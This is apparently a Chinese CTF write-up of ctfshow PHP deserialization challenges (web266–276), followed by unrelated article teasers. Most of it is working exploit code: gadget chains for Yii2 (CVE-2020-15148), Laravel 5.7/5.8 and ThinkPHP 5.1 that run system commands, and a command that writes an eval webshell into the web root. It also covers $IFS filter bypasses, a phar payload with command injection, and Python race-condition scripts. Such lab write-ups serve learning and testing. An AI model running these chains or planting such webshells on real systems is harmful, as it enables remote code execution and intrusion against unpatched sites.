        $this->token;
        $this->password =&$this->token;
}
}
$a=new ctfshowAdmin();
echo serialize($a);

web266

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

$cs = file_get_contents('php://input'); 获取post提交的数据

直接大小写绕过

大小写确实能绕过 还有一种方法:扰乱属性将2改成3 甚至只要保证O:7:"ctfshow":2存在剩下的瞎写乱写都行 叫什么破坏反序列化的结构 但是不破坏类名 说实话不理解

destruct会在脚本结束后销毁,而抛出异常导致无法立即执行destruct,所以我们要进行快速析构

原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。
我其实差不多也明白了:必须整个代码结束才能进行魔术方法

会抛出一个异常。当异常被抛出后,程序会立即停止当前的执行流程,并将控制权转交给最近的异常处理程序。在异常处理过程中,系统会清理资源和执行相应的异常处理代码。

这就意味着,如果反序列化成功并触发了__destruct()方法,但在之后的代码中抛出了异常,那么异常会先被捕获处理,而不会继续执行__destruct()方法中的剩余部分,包括输出$flag的值。

差不多对的大白话:按理说是调用了魔术方法 但是还没有执行完就因为报错而停止程序执行。

web267

页面用的什么框架不知道 看源码看一下

框架就是一种软件工具,它提供了一些基础功能和规范,可以帮助开发者更快地构建应用程序。比如Yii框架和ThinkPHP框架就是两个流行的PHP框架,它们提供了很多现成的功能和工具,让开发者可以更轻松地编写代码,不需要从零开始。使用框架可以加快开发速度、提高代码质量,并且有助于维护和扩展应用程序。

查看源码发现有个yii.js的脚本文件。

yii.js是一个与Yii框架相关的JavaScript文件。Yii是一个流行的PHP框架,它提供了一些功能和工具,用于简化Web应用程序的开发过程。如果你在使用Yii框架构建网站或应用程序,那么引用这个脚本文件可能是为了使用Yii框架提供的一些客户端功能或特性。判断出该网页使用的是yii框架

点进去发现是2.0的版本

网上也流传了反序列化链

Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。

现在找一下入口,由于是反序列化利用链,我们需要一个入口点

弱口令登陆一下 看一下 发现about页面有一点变化 查看源码 给了个提示

给的是? 我以为是在首页面位置使用呢 原来就是在adout页面用&连接

因为就是这个页面给的提示 按理说就是应该在这个页面的url后加入该参数

发现一个反序列化入口点:,给了入口 和需要提交的参数名

访问一下 结果是空白 证明是有这个页面的,光访问不行还得传个值否则访问不到 所以他才给提示

通用的链子

exp

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flag';
        }
    }
}
namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
namespace yii\db{
    use Faker\Generator;
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

passthru也是远程命令执行的函数 这个方便

大师傅就凭着感觉走 切合实际

checkAess=‘shell_exec’

id="echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";

注意看大师傅的视频特别是这个讲解 从头到位出问题 就得多尝试 

有几点我说一下 命令多换换 单引号双引号多换换 还有转移

真的是学的越多越好  查询该页面位置pwd的时候 使用了DNS外带 标记一下有时间学DNS外带

大师傅如何确定的当前路径

在DNSLOG里面先复制地址 用的大佬的图

写shell

访问成功后

找到flag位置

web268

用267的方式试一遍 不行 可能被过滤了 把eval shell等字符串使用点进行拼接

发现还是不行 那就只能是一个原因了 这个链子被过滤了 这个链子用不来了了

现成链子

exp

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令
    echo(base64_encode(serialize($exp)));
}

直接访问1.txt

在这里说一下大师傅说以后遇见这种yii框架的漏洞 找到入口把知道的链子都试一下

web269

还是一样的使用web268链子  发现成功拿下flag

web270

还用web268链子 成功拿下

总结

这几道yii框架的反序列化漏洞 虽然没让我学会原理 但是我学会了 如果遇见某一类框架漏洞 直接找入口 找到入口后 网上找现成的链子 一个一个去尝试,现在我的时间不多了只能按照教程这么思路的来一遍这种框架漏洞 具体原理目前没时间学 如果以后有时间搜索(YII链子学习反序列化) 2023/12/7 14:38图书馆

记录一下链子

poc1

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

poc2

yii2.2.37

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

poc3

2.0.38

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

poc4

2.0.38

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

poc5

2.0.42

<?php

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 99999999;
    }
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

poc6

为什么不用分析具体为什么能成功 ,后面会有几个专题 会对php框架进行更深入的了解 这里面会专门的研究 为什么能够实现RCE

前面作为初步的熟悉 首先知道一下他的框架 知道框架的风格 知道啥版本可以用什么来打

首先先不用太研究 这样的话 自己会感觉会难 所以以后再说 随着积累刚开始不理解的地方做的多了就豁然开朗

就像收集的框架确定有用后 可以保留 以后没准遇得到

web271

laravel5.7反序列化漏洞

使用网上公布的反序列化的链子

源代码

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

exp

<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
	class PendingCommand{
		protected $command;
		protected $parameters;
		protected $app;
		public $test;
		public function __construct($command, $parameters,$class,$app)
	    {
	        $this->command = $command;
	        $this->parameters = $parameters;
	        $this->test=$class;
	        $this->app=$app;
	    }
	}
}
namespace Illuminate\Auth{
	class GenericUser{
		protected $attributes;
		public function __construct(array $attributes){
	        $this->attributes = $attributes;
	    }
	}
}
namespace Illuminate\Foundation{
	class Application{
		protected $hasBeenBootstrapped = false;
		protected $bindings;
		public function __construct($bind){
			$this->bindings=$bind;
		}
	}
}
namespace{
	echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls /'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>

不知道为什么么找了好多链子 这个和大师傅的链子一摸一样 但是都有一个通用的问题 一旦命令中出现空格 就不好使,自己找出来解决方式了 使用$IFS代表空格   $IFS$9 是为了绕过命令中的空格 加不加$9都可以 他俩的意思应该都是空格 反正能代替空格

发现了flag

查看flag内容

web272-273

laravel5.8反序列化漏洞

源码

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

看看之前的poc可不可以 不行,新找一个

exp

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events="",$event="")
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection = 'tac$IFS/f*';
    }
}

namespace{
    $d = new Illuminate\Bus\Dispatcher();
    $b = new Illuminate\Broadcasting\BroadcastEvent();
    $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
    echo urlencode(serialize($p));
}

?>

查看根目录文件

查看flag

成功

大师傅的链子我没找到 找到一个基本差不多的 但是我的不好使 他直接传cookie 将结果传进了cookie中

然后的到路径后 写木马到1.php

web273用272的链子就行 老师的这个我是真喜欢 但是我的不好使

web274

thinkphp框架

5.1也有几个链子

现在就是找反序列化入口

查看源码发现提示 GET方式传入data参数 

网上找一个thinkphp5.1的链子

exp

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

通过lin进行传参

成功获取flag

web275

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
    public $filename; //定义三个属性
    public $filecontent;
    public $evilfile=false;
    public function __construct($f,$fn){//将传进来的两个参数赋值给属性
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){//在filename如果匹配了php 那就给evilfile赋值为真
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){//在filecontent如果匹配flag 那就给evilfile赋值为真
            $this->evilfile=true;
        }
        return $this->evilfile;//返回evilfile
    }
    public function __destruct(){//反序列化的时候 如果evilfile为真
        if($this->evilfile){ //执行系统命令rm $filename
            system('rm '.$this->filename);
        }
    }
}
if(isset($_GET['fn'])){//传入fn
    $content = file_get_contents('php://input');//获取通过 HTTP POST 请求发送的原始数据。
    $f = new filter($_GET['fn'],$content);//传入两个参数 第一个参数get获取到的 第二个参数post获取到的  会先触发construct后触发destruct
    if($f->checkevil()===false){//如果evilfile为假
        file_put_contents($_GET['fn'], $content);//写文件 将POST值写入GET的值的文件中
        copy($_GET['fn'],md5(mt_rand()).'.txt');//将从 GET 请求中获取的文件复制到一个以随机生成的 MD5 哈希作为文件名的新文件中。
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除GET的文件 前面代表网站根目录
        echo 'work done';
    }
}else{
    echo 'where is flag?';
}
where is flag?
//

看的差不多足够我们RCE(远程代码执行)了

很简单

查看flag

可以看到都不需要干别的就能rce了

web276

(这道题我感觉我比百度搜的都细 这道题他们都不写)

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/7 23:20
*/
highlight_file(__FILE__);
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){//必须保证evilfile和admin都为真 才可以
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除文件 在删除见我们要使用phar://进行解析该文件使得phar文件内容进行反序列化
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

<?php file_put_contents("new_file.txt", "Hello, World!"); ?>

需要先写入phar包,然后条件竞争在其被删除前通过 phar:// 使其反序列化来命令执行

phar包通过 phar:// 解析获取处理时会反序列化

先生成一个我们所需的phar包(使用php生成phar模板按照我们所需要求修改的)

生成phar包

<?php
highlight_file(__FILE__);
class filter{
    public $filename="1;tac f*";
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
}
$a=new filter();
@unlink('phar.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('phar.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$phar->setMetadata($a);//写入meta-data 这里进行序列化
$phar->addFromString("phar.txt","phar");  //添加要压缩的文件
$phar->stopBuffering();

用python写一个脚本 持续提交phar和获取phar内容 开启条件竞争 (这个脚本按照大师傅 自己写的 真爽 写的代码量巨少 功能巨强)

python脚本

import requests
import threading
url = 'http://8f28ec2c-f5c0-445d-b3a3-ac9ebe60556c.challenge.ctf.show/'
data = open('./phar.phar', 'rb').read()
flag = True
def write(): # 写入phar.phar
    requests.post(url+'?fn=phar.phar', data=data)#post方法提交数据 数据就是从本地phar文件中获取的二进制数据(图像视频什么的必须使用二进制方式读取否则乱码)
def unserialize(): # 触发反序列化
    global flag  #在函数内部声明一个全局变量 函数内部修改变量 必须使用global
    r = requests.get(url+'?fn=phar://phar.phar')#发送get请求 以phar方式进行读取我们传入的phar文件 在没删除之前快速读取
    #请求如果获取到内容了保存在r变量中
    if 'ctfshow{' in r.text and flag:#在内容中如果存在ctfshow字样
        print(r.text)
        flag = False
while flag: # 线程条件竞争,直到读到flag
    threading.Thread(target = write).start() #开启一个线程 循环执行线程里面的函数
    threading.Thread(target = unserialize).start() #同理 直到输出了r.text flag为假 才会停止执行

执行python代码 成功获取到flag

因为我是小白嘛 什么都不是很理解 这道题我发现了python脚本的好处 直呼神奇 

说是条件竞争 我又想到了一种 但是没有成功不知道什么原因 就是再没删除前写入一句话木马到一个文件内 ,最后访问这个文件 可惜没有成功 但是是个思路记录一下吧

import requests
import threading
import time
url = 'http://64ebefe9-27f9-48a2-bf08-06f23b3f36f0.challenge.ctf.show/'
data = "<?php file_put_contents('tzy.php','<?php phpinfo();?>', FILE_APPEND); ?>"
flag = True
def post():
    requests.post(url+'?fn=1.PHP', data=data)
def get1():
    requests.get(url + '1.php')
def get2():
    r = requests.get(url+'tzy.php')
    if 'PHP Version' in r.text:
        global flag
        flag = False
while flag:
    threading.Thread(target=get1).start()
    threading.Thread(target=get2).start()
    threading.Thread(target=post).start()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2121431.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【大模型结构】不同技术架构的区别

文章目录 大语言模型技术概述Encoder-onlyDecoder-onlyEncoder-Decoder为什么流行LLM都是Decoder only架构&#xff1f;参考资料 如果你投递的是NLP方向&#xff0c;大模型方向&#xff0c;多模态大模型方向&#xff0c;甚至是人工智能方向&#xff0c;当前大语言模型的技术架构…

基于人工智能的智能个人健康管理系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据采集与预处理模型训练与预测实时健康监控应用场景结论 1. 引言 个人健康管理在现代生活中变得尤为重要&#xff0c;随着人工智能技术的进步&#xff0c;智能健康管理系统可以通过监…

[AI书籍分享]<AI时代,学什么,怎么学 - 和渊>

本文由Markdown语法编辑器编辑完成。 1, 背景: 本书是一位清华大学毕业的生物学博士&#xff0c;和渊老师&#xff0c;现就职于人大附中, 是一名一线的高中生物教师. 她之前已经写过几本关于教育类的书籍&#xff0c;而这本书&#xff0c;则是她针对当前, AI时代迅猛发展的背…

CPU调度算法之FIFS(先来先服务)

摘要 CPU的先来先服务&#xff08;FCFS, First-Come, First-Served&#xff09;任务调度算法是一种最基础且直观的调度方法&#xff0c;它根据任务到达的顺序决定其执行的先后顺序。这种算法以其简单性和公平性在操作系统中占据重要地位&#xff0c;但也存在一些不足&#xff…

【数学建模国赛】前期准备

这里是阿川的博客&#xff0c;祝您变得更强 ✨ 个人主页&#xff1a;在线OJ的阿川 &#x1f496;文章专栏&#xff1a;国赛数模准备到进阶 &#x1f30f;代码仓库&#xff1a; 写在开头 现在您看到的是我的结论或想法&#xff0c;省略了思考过程&#xff0c;但在这背后凝结了大…

测试3个月,成功入职 “字节”,我的面试心得总结!

今天来给大家讲一下软件测试工程师的面试一些技巧、建议&#xff0c;以及你们在面试过程中需要做的一些准备、注意事项。 很多的小伙伴在刚刚学习完软件测试后就要面临一个问题&#xff1a;就业找工作。找工作要面临的第一件事儿就是面试&#xff0c;很多小伙伴对面试完全是模糊…

【C语言】八大排序实现及稳定性和总结

目录 一、八大排序剖析链接二、排序的稳定性2.1 稳定性作用2.2 如何判断排序算法是否稳定 总结三、八大排序实现及源代码3.1 插入排序3.2 希尔排序3.3 堆排序3.4 快速排序3.4.1 Hoare版&#xff08;左右指针法&#xff09;3.4.2 挖坑法3.4.3 前后指针法3.4.4 三数取中优化3.4.5…

CSP-CCF★★201809-2买菜★★

目录 一、问题描述 二、解答&#xff1a; 三、总结 一、问题描述 问题描述 小H和小W来到了一条街上&#xff0c;两人分开买菜&#xff0c;他们买菜的过程可以描述为&#xff0c;去店里买一些菜然后去旁边的一个广场把菜装上车&#xff0c;两人都要买n种菜&#xff0c;所以也…

MySQL系列—9.Innodb页

目录 磁盘与内存交互的基本单位—页 页结构概述 页的大小 页的上层结构 页的内部结构 1、File Header&#xff08;文件头部&#xff09; 2、File Trailer&#xff08;文件尾部&#xff09; 3、Free Space (空闲空间) 4、User Records (用户记录) 5、Infimum Supremu…

「漏洞复现」通天星CMSV6车载定位监控平台 getAlarmAppealByGuid SQL注入漏洞

0x01 免责声明 请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;作者不为此承担任何责任。工具来自网络&#xff0c;安全性自测&#xff0c;如有侵权请联系删…

AI基础 L15 Constraint Satisfaction Problems III约束满足问题

Local Search for CSPs Local search algorithms use a complete-state formulation where: — each state assigns a value to every variable, and — the search changes the value of one variable at a time • Min-conflicts heuristic: value that results in the min…

IEC103设备数据 转 IEC61850项目案例

目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 4 配置VFBOX网关采集103设备数是 2 5 用IEC61850协议转发数据 4 6 网关使用多个逻辑设备和逻辑节点的方法 6 7 IEC103协议说明 8 8 案例总结 9 1 案例说明 设置网关采集IEC103设备数据把采集的数据转成IEC61850协议转发…

三.海量数据实时分析-FlinkCDC实现Mysql数据同步到Doris

FlinkCDC 同步Mysql到Doris 参考&#xff1a;https://nightlies.apache.org/flink/flink-cdc-docs-release-3.0/zh/docs/get-started/quickstart/mysql-to-doris/ 1.安装Flink 下载 Flink 1.18.0&#xff0c;下载后把压缩包上传到服务器&#xff0c;使用tar -zxvf flink-xxx…

华为认证 vs 红帽认证 怎么选?有什么区别?

随着技术的日新月异&#xff0c;IT认证成为衡量个人技能和专业知识的重要标准。在众多认证中&#xff0c;华为认证和红帽认证以其权威性和实用性&#xff0c;成为业界颇具含金量的标杆。华为认证&#xff0c;作为华为推出的认证&#xff0c;是网络技术领域的权威认证之一&#…

vscode 中使用 yarn 出错

问题 vscode 中使用 yarn 爆红&#xff0c;类似下图的错误&#xff1a; 原因 由于vscode中的集成终端使用的是powershell&#xff0c;所以需要设置下该权限才能正常使用yarn 解决 找到 powershell&#xff0c;以管理身份运行 输入&#xff1a;set-ExecutionPolicy Remot…

MySQL系列—8.物理结构

目录 1.系统表空间 ibdata 2.通用表空间 .ibd 3.独立表空间 4.Undo 表空间 5.临时表空间 6.Redo Log File 1.系统表空间 ibdata 系统表空间由参数innodb_data_file_path定义路径、初始化大小、自动扩展策略 如&#xff1a; innodb_data_file_path/dayta/mysql/ibdata1:…

感恩 各位老师们!和滋养你的人在一起,确实很重要——早读(逆天打工人爬取热门微信文章解读)

感恩 各位老师们 引言Python 代码第一篇 洞见 和滋养你的人在一起&#xff0c;确实很重要第二篇 一天 风云突变结尾 &#xff08;不是 现在网上在呢么各种图都有 哈哈哈&#xff09; 引言 今天是什么特殊的日子吗&#xff1f; 没错 教师节 说起这个教师节 我觉得大家更要记住…

【北京迅为】《STM32MP157开发板使用手册》-第十九章 Yocto系统开发

iTOP-STM32MP157开发板采用ST推出的双核cortex-A7单核cortex-M4异构处理器&#xff0c;既可用Linux、又可以用于STM32单片机开发。开发板采用核心板底板结构&#xff0c;主频650M、1G内存、8G存储&#xff0c;核心板采用工业级板对板连接器&#xff0c;高可靠&#xff0c;牢固耐…

C++——list的实现

目录 0.前言 1.节点类 2.迭代器类 ①普通迭代器 ②const迭代器 ③模板迭代器 3.list类 3.1 clear、析构函数、swap ①clear ② 析构函数 ③ swap 3.2构造函数 ①无参构造 ②赋值构造 3.3 迭代器 3.4插入函数 ①insert插入 ②头插 ③尾插 3.5 删除函数…